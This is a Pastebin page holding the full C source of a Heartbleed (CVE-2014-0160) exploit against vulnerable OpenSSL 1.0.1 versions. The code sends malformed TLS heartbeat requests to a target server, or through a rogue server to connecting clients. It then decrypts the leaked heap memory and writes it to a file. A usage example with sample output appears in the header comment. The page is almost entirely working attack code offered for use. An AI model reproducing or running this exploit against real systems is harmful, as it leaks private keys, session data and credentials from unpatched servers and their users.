Advertisement
opexxx

heartbleed.c

Apr 15th, 2014
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 15.13 KB | None | 0 0
  1. /*
  2. * CVE-2014-0160 heartbleed OpenSSL information leak exploit
  3. * =========================================================
  4. * This exploit uses OpenSSL to create an encrypted connection
  5. * and trigger the heartbleed leak. The leaked information is
  6. * returned encrypted and is then decrypted, decompressed and
  7. * wrote to a file to annoy IDS/forensics. The exploit can set
  8. * the heatbeart payload length arbitrarily or use two preset
  9. * values for 0x00 and MAX length. The vulnerability occurs due
  10. * to bounds checking not being performed on a heap value which
  11. * is user supplied and returned to the user as part of DTLS/TLS
  12. * heartbeat SSL extension. All versions of OpenSSL 1.0.1 to
  13. * 1.0.1f are known affected. You must run this against a target
  14. * which is linked to a vulnerable OpenSSL library using DTLS/TLS.
  15. *
  16. * Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g
  17. *
  18. * E.g.
  19. * $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed
  20. * $ ./heartbleed -s 192.168.11.9 -p 443 -f leakme -t 65535
  21. * [ heartbleed - CVE-2014-0160 - TLS/DTLS information leak exploit
  22. * [ connecting to 192.168.11.9 443/tcp
  23. * [ connected to 192.168.11.9 443/tcp
  24. * [ setting heartbeat payload_length to 65535
  25. * [ heartbeat returned type=24 length=16416
  26. * [ decrypting and decompressing SSL packet
  27. * [ final record type=24, length=16384
  28. * [ wrote 16384 bytes to file 'leakme'
  29. * [ done.
  30. * $ hexdump -C leakme
  31. * - snip - snip  
  32. *
  33. * todo:
  34. * - udp/dtls support
  35. * - send some "pre-cmds" before handshake, e.g. "STARTTLS"
  36. *
  37. * Added experimental support for exploiting connecting clients
  38. * with rogue server. Generate certificates with the following:
  39. *
  40. * $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  41. * -keyout server.key -out server.crt
  42. *
  43. * - Hacker Fantastic
  44. *   http://www.mdsec.co.uk
  45. *
  46. */
  47. #include <stdio.h>
  48. #include <stdint.h>
  49. #include <stdlib.h>
  50. #include <string.h>
  51. #include <unistd.h>
  52. #include <getopt.h>
  53. #include <signal.h>
  54. #include <netdb.h>
  55. #include <fcntl.h>
  56. #include <sys/socket.h>
  57. #include <sys/types.h>
  58. #include <netinet/in.h>
  59. #include <inttypes.h>
  60. #include <openssl/bio.h>
  61. #include <openssl/ssl.h>
  62. #include <openssl/err.h>
  63. #include <openssl/evp.h>
  64. #include <openssl/tls1.h>
  65. #include <openssl/rand.h>
  66. #include <openssl/buffer.h>
  67.  
  68. #define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
  69.         (((unsigned int)(c[1]))    )),c+=2)
  70. #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
  71.          c[1]=(unsigned char)(((s)    )&0xff)),c+=2)
  72.  
  73. typedef struct {
  74.     int socket;
  75.     SSL *sslHandle;
  76.     SSL_CTX *sslContext;
  77. } connection;
  78.  
  79. typedef struct {
  80.   unsigned char type;
  81.   short version;
  82.   unsigned int length;
  83.   unsigned char hbtype;
  84.   unsigned int payload_length;
  85.   void* payload;
  86. } heartbeat;
  87.  
  88. int tcp_connect(char* server,int port){
  89.     int sd,ret;
  90.     struct hostent *host;
  91.         struct sockaddr_in sa;
  92.         host = gethostbyname(server);
  93.         sd = socket(AF_INET, SOCK_STREAM, 0);
  94.         if(sd==-1){
  95.         printf("[!] cannot create socket\n");
  96.         exit(0);
  97.     }
  98.     sa.sin_family = AF_INET;
  99.         sa.sin_port = htons(port);
  100.         sa.sin_addr = *((struct in_addr *) host->h_addr);
  101.         bzero(&(sa.sin_zero),8);
  102.     printf("[ connecting to %s %d/tcp\n",server,port);
  103.         ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr));
  104.     if(ret==0){
  105.         printf("[ connected to %s %d/tcp\n",server,port);
  106.     }
  107.     else{
  108.         printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port);
  109.         exit(0);
  110.     }
  111.     return sd;
  112. }
  113.  
  114. int tcp_bind(char* server, int port){
  115.     int sd, ret, val=1;
  116.     struct sockaddr_in sin;
  117.     struct hostent *host;
  118.     host = gethostbyname(server);
  119.     sd=socket(AF_INET,SOCK_STREAM,0);
  120.     if(sd==-1){
  121.             printf("[!] cannot create socket\n");
  122.         exit(0);
  123.     }
  124.     memset(&sin,0,sizeof(sin));
  125.     sin.sin_addr=*((struct in_addr *) host->h_addr);
  126.     sin.sin_family=AF_INET;
  127.     sin.sin_port=htons(port);
  128.         setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val));
  129.     ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin));
  130.     if(ret==-1){
  131.         printf("[!] cannot bind socket\n");
  132.         exit(0);
  133.     }
  134.     listen(sd,5);
  135.     return(sd);
  136. }
  137.  
  138.  
  139. void ssl_init(){
  140.         SSL_load_error_strings();
  141.         SSL_library_init();
  142.         OpenSSL_add_all_digests();
  143.         OpenSSL_add_all_algorithms();
  144.         OpenSSL_add_all_ciphers();
  145. }
  146.  
  147. connection* tls_connect(int sd){
  148.         connection *c;
  149.     c = malloc(sizeof(connection));
  150.         c->socket = sd;
  151.         c->sslHandle = NULL;
  152.         c->sslContext = NULL;
  153.         c->sslContext = SSL_CTX_new(TLSv1_client_method());
  154.         if(c->sslContext==NULL)
  155.                 ERR_print_errors_fp(stderr);
  156.         c->sslHandle = SSL_new(c->sslContext);
  157.         if(c->sslHandle==NULL)
  158.                 ERR_print_errors_fp(stderr);
  159.         if(!SSL_set_fd(c->sslHandle,c->socket))
  160.                 ERR_print_errors_fp(stderr);
  161.         if(SSL_connect(c->sslHandle)!=1)
  162.                 ERR_print_errors_fp(stderr);
  163.         if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
  164.                 c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
  165.                 printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
  166.         }
  167.     return c;
  168. }
  169.  
  170. connection* tls_bind(int sd){
  171.     int bytes;
  172.         connection *c;
  173.         char* buf;
  174.     buf = malloc(4096);
  175.     memset(buf,0,4096);
  176.     c = malloc(sizeof(connection));
  177.         c->socket = sd;
  178.         c->sslHandle = NULL;
  179.         c->sslContext = NULL;
  180.         c->sslContext = SSL_CTX_new(TLSv1_server_method());
  181.         if(c->sslContext==NULL)
  182.                 ERR_print_errors_fp(stderr);
  183.     SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3);
  184.     SSL_CTX_SRP_CTX_init(c->sslContext);
  185.     SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM);
  186.     SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM);      
  187.     if(!SSL_CTX_check_private_key(c->sslContext)){
  188.         printf("[!] FATAL: private key does not match the certificate public key\n");
  189.         exit(0);
  190.     }
  191.     c->sslHandle = SSL_new(c->sslContext);
  192.         if(c->sslHandle==NULL)
  193.                 ERR_print_errors_fp(stderr);
  194.         if(!SSL_set_fd(c->sslHandle,c->socket))
  195.                 ERR_print_errors_fp(stderr);
  196.         int rc = SSL_accept(c->sslHandle);
  197.     printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle));
  198.     bytes = SSL_read(c->sslHandle, buf, sizeof(buf));
  199.     printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf);
  200.     if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
  201.                 c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
  202.                 printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
  203.         }
  204.         return c;
  205. }
  206.  
  207. int pre_cmd(int sd){
  208.     // this is a stub function, you can send additional commands to your socket
  209.     // here before the heartbleed exploit.
  210.     return sd;
  211. }
  212.  
  213. void* heartbleed(connection *c,unsigned int type){
  214.     unsigned char *buf, *p;
  215.         int ret;
  216.     buf = OPENSSL_malloc(1 + 2);
  217.         p = buf;
  218.         *p++ = TLS1_HB_REQUEST;
  219.     switch(type){
  220.         case 0:
  221.             s2n(0x0,p);
  222.             break;
  223.         case 1:
  224.             s2n(0xffff,p);
  225.             break;
  226.         default:
  227.             printf("[ setting heartbeat payload_length to %u\n",type);
  228.             s2n(type,p);
  229.             break;
  230.     }
  231.     printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n");
  232.         ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
  233.         OPENSSL_free(buf);
  234.     return c;
  235. }
  236.  
  237. void* sneakyleaky(connection *c,char* filename, int verbose){
  238.     char *p;
  239.         int ssl_major,ssl_minor,al;
  240.         int enc_err,n,i;
  241.         SSL3_RECORD *rr;
  242.         SSL_SESSION *sess;
  243.     SSL* s;
  244.         unsigned char md[EVP_MAX_MD_SIZE];
  245.         short version;
  246.         unsigned mac_size, orig_len;
  247.         size_t extra;
  248.         rr= &(c->sslHandle->s3->rrec);
  249.         sess=c->sslHandle->session;
  250.         s = c->sslHandle;
  251.         if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
  252.                 extra=SSL3_RT_MAX_EXTRA;
  253.         else
  254.                 extra=0;
  255.         if ((s->rstate != SSL_ST_READ_BODY) ||
  256.                 (s->packet_length < SSL3_RT_HEADER_LENGTH)) {
  257.                         n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
  258.                         if (n <= 0)
  259.                                 goto apple;
  260.                         s->rstate=SSL_ST_READ_BODY;
  261.                         p=s->packet;
  262.                         rr->type= *(p++);
  263.                         ssl_major= *(p++);
  264.                         ssl_minor= *(p++);
  265.                         version=(ssl_major<<8)|ssl_minor;
  266.                         n2s(p,rr->length);
  267.             if(rr->type==24){
  268.                 printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length);
  269.             }
  270.             else{
  271.                 printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length);
  272.                 s->packet_length=0;
  273.                 goto apple;
  274.             }
  275.         }
  276.         if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){
  277.                 i=rr->length;
  278.                 n=ssl3_read_n(s,i,i,1);
  279.                 if (n <= 0) goto apple;
  280.         }
  281.     printf("[ decrypting and decompressing SSL packet\n");
  282.         s->rstate=SSL_ST_READ_HEADER;
  283.         rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);
  284.         rr->data=rr->input;
  285.         tls1_enc(s,0);
  286.         if(verbose==1){
  287.                 { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }
  288.                 printf("\n");
  289.         }
  290.         if((sess != NULL) &&
  291.             (s->enc_read_ctx != NULL) &&
  292.             (EVP_MD_CTX_md(s->read_hash) != NULL))
  293.                 {
  294.                 unsigned char *mac = NULL;
  295.                 unsigned char mac_tmp[EVP_MAX_MD_SIZE];
  296.                 mac_size=EVP_MD_CTX_size(s->read_hash);
  297.                 OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);
  298.                 orig_len = rr->length+((unsigned int)rr->type>>8);
  299.                 if(orig_len < mac_size ||
  300.                   (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&
  301.                    orig_len < mac_size+1)){
  302.                         al=SSL_AD_DECODE_ERROR;
  303.                         SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
  304.                 }
  305.                 if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){
  306.                         mac = mac_tmp;
  307.                         ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len);
  308.                         rr->length -= mac_size;
  309.                 }
  310.                 else{
  311.                         rr->length -= mac_size;
  312.                         mac = &rr->data[rr->length];
  313.                 }
  314.                 i = tls1_mac(s,md,0);
  315.                 if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0)
  316.                         enc_err = -1;
  317.                 if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)
  318.                         enc_err = -1;
  319.                 }
  320.         if(enc_err < 0){
  321.                 al=SSL_AD_BAD_RECORD_MAC;
  322.                 SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
  323.                 goto apple;
  324.         }
  325.         if(s->expand != NULL){
  326.                 if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {
  327.                         al=SSL_AD_RECORD_OVERFLOW;
  328.                         SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);
  329.                         goto apple;
  330.                         }
  331.                 if (!ssl3_do_uncompress(s)) {
  332.                         al=SSL_AD_DECOMPRESSION_FAILURE;
  333.                         SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
  334.                         goto apple;
  335.                         }
  336.                 }
  337.         if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {
  338.                 al=SSL_AD_RECORD_OVERFLOW;
  339.                 SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
  340.                 goto apple;
  341.         }
  342.         rr->off=0;
  343.         s->packet_length=0;
  344.     printf("[ final record type=%d, length=%u\n", rr->type, rr->length);
  345.     int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700);
  346.         write(fd,s->s3->rrec.data,s->s3->rrec.length);
  347.         close(fd);
  348.     printf("[ wrote %d bytes to file '%s'\n",rr->length, filename);
  349.     printf("[ done.\n");
  350.     exit(0);
  351. apple:
  352.         printf("[ problem handling SSL record packet - wrong type?\n");
  353. }
  354.  
  355. void usage(){
  356.     printf("[\n");
  357.     printf("[ --server|-s <ip/dns>    - the server to target\n");
  358.     printf("[ --port|-p   <port>      - the port to target\n");
  359.     printf("[ --file|-f   <filename>  - file to write data to\n");
  360.     printf("[ --bind|-b   <ip>        - bind to ip for exploiting clients\n");
  361.     printf("[ --type|-t               - select exploit to try\n");
  362.     printf("[                           0 = null length\n");
  363.     printf("[               1 = max leak\n");
  364.     printf("[               n = heartbeat payload_length\n");
  365.     printf("[\n");
  366.     printf("[ --verbose|-v            - output leak to screen\n");
  367.     printf("[ --help|-h               - this output\n");
  368.     printf("[\n");
  369.     exit(0);
  370. }
  371.  
  372. int main(int argc, char* argv[]){
  373.     int ret, port, userc, index;
  374.     int type = 1, udp = 0, verbose = 0, bind = 0;
  375.     struct hostent *h;
  376.     connection* c;
  377.     char *host, *file;
  378.     int ihost = 0, iport = 0, ifile = 0, itype = 0;
  379.     printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n");
  380.     printf("[ =============================================================\n");
  381.         static struct option options[] = {
  382.             {"server", 1, 0, 's'},
  383.             {"port", 1, 0, 'p'},
  384.         {"file", 1, 0, 'f'},
  385.         {"type", 1, 0, 't'},
  386.         {"bind", 1, 0, 'b'},
  387.         {"verbose", 0, 0, 'v'},
  388.         {"help", 0, 0,'h'}
  389.         };
  390.     while(userc != -1) {
  391.             userc = getopt_long(argc,argv,"s:p:f:t:b:vh",options,&index);  
  392.             switch(userc) {
  393.                     case -1:
  394.                             break;
  395.                     case 's':
  396.                 if(ihost==0){
  397.                     ihost = 1;
  398.                     h = gethostbyname(optarg);             
  399.                     if(h==NULL){
  400.                         printf("[!] FATAL: unknown host '%s'\n",optarg);
  401.                         exit(1);
  402.                     }
  403.                     host = malloc(strlen(optarg) + 1);
  404.                     sprintf(host,"%s",optarg);
  405.                         }
  406.                 break;
  407.                     case 'p':
  408.                 if(iport==0){
  409.                     port = atoi(optarg);
  410.                     iport = 1;
  411.                 }
  412.                             break;
  413.             case 'f':
  414.                 if(ifile==0){
  415.                     file = malloc(strlen(optarg) + 1);
  416.                     sprintf(file,"%s",optarg);
  417.                     ifile = 1;
  418.                 }
  419.                 break;
  420.             case 't':
  421.                 if(itype==0){
  422.                     type = atoi(optarg);
  423.                     itype = 1;
  424.                 }
  425.                 break;
  426.             case 'h':
  427.                 usage();
  428.                 break;
  429.             case 'b':
  430.                 if(ihost==0){
  431.                     ihost = 1;
  432.                     host = malloc(strlen(optarg)+1);
  433.                     sprintf(host,"%s",optarg);
  434.                     bind = 1;
  435.                 }
  436.                 break;
  437.             case 'v':
  438.                 verbose = 1;
  439.                 break;
  440.             default:
  441.                 break;
  442.         }
  443.     }
  444.     if(ihost==0||iport==0||ifile==0||itype==0){
  445.         printf("[ try --help\n");
  446.         exit(0);
  447.     }
  448.     ssl_init();
  449.     if(bind==0){
  450.         ret = tcp_connect(host, port);
  451.         pre_cmd(ret);
  452.         c = tls_connect(ret);
  453.         heartbleed(c,type);
  454.         sneakyleaky(c,file,verbose);
  455.         exit(0);
  456.     }
  457.     else{
  458.         int sd, pid, i;
  459.         ret = tcp_bind(host, port);
  460.         while(1){
  461.                 sd=accept(ret,0,0);
  462.             if(sd==-1){
  463.                 printf("[!] FATAL: problem with accept()\n");
  464.                 exit(0);
  465.             }
  466.             if(pid=fork()){
  467.                 close(sd);
  468.             }
  469.                 else{
  470.                 c = tls_bind(sd);
  471.                 heartbleed(c,type);
  472.                 sneakyleaky(c,file,verbose);
  473.                 exit(0);
  474.             }
  475.         }
  476.     }
  477. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement